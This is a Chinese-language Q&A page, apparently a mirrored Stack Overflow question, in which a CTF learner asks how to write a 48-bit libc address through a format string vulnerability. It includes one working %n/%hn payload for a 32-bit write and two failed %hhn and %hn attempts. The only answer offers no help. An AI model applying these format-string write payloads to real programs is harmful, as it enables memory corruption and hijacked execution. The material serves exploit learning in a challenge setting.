如何使用格式字符串漏洞写入> 32位的大值%n

问题描述 投票:0回答:1

我正在解决一项挑战,要求我用 libc 地址覆盖内存地址,该地址通常约为 48 位。 我可以将 32 位数字写入地址,但任何大于该地址的数字都会开始出现对齐问题,并且情况会开始出现问题。 将数字 0x8e719f2e 写入地址 target_address 我会说

payload = b"%36465x%7$n" + b"%4285x%8$hn" + p64(target_address+2) + p64(target_address)

并且有效

假设你需要写一个像 0x7f4121347120 这样的 libc 地址,你会怎么做?

我的一些失败的尝试包括: 尝试按降序写入每个单独的字节

%hhn
和“A”用于对齐填充: 0x7f4121347120

payload = b"%32x%7$hhnAAA" + b"%1x%8$hhn" + b"%19x%9$hhn" + b"%7x%10$hhn" + b"%48x%11$hhn" + b"%48x%12$hhn" + p64(ta) + p64(ta+3) + p64(ta+2) + p64(ta+4) + p64(ta+1) + p64(ta+5)

尝试一次使用两个字节

%hn
:

payload = b"%8500x%7$hnAAAAAA" + b"%20460x%8$hn" + b"%3617x%9$hn" + p64(ta+2) + p64(ta) + p64(ta+4)

最后:尝试一次写出整个内容,这显然是行不通的,而且(根据经验)会堵塞你的整个系统。

不知道还能尝试什么。 这两个有效负载都会导致程序出现段错误。

我对此有错误的想法吗?顺便说一句,我是 pwn 和这个网站的菜鸟,所以请不要烤我

我也知道pwntools有一个函数fmtstr_payload,但我首先想手动开发有效负载以实现综合目的。

我的问题的重点是如何使用格式字符串漏洞编写一个大值,非常感谢任何帮助

exploit low-level format-string ctf pwntools
1个回答
0
投票

这个sammo4你解决了吗?让我知道。

© www.soinside.com 2019 - 2024. All rights reserved.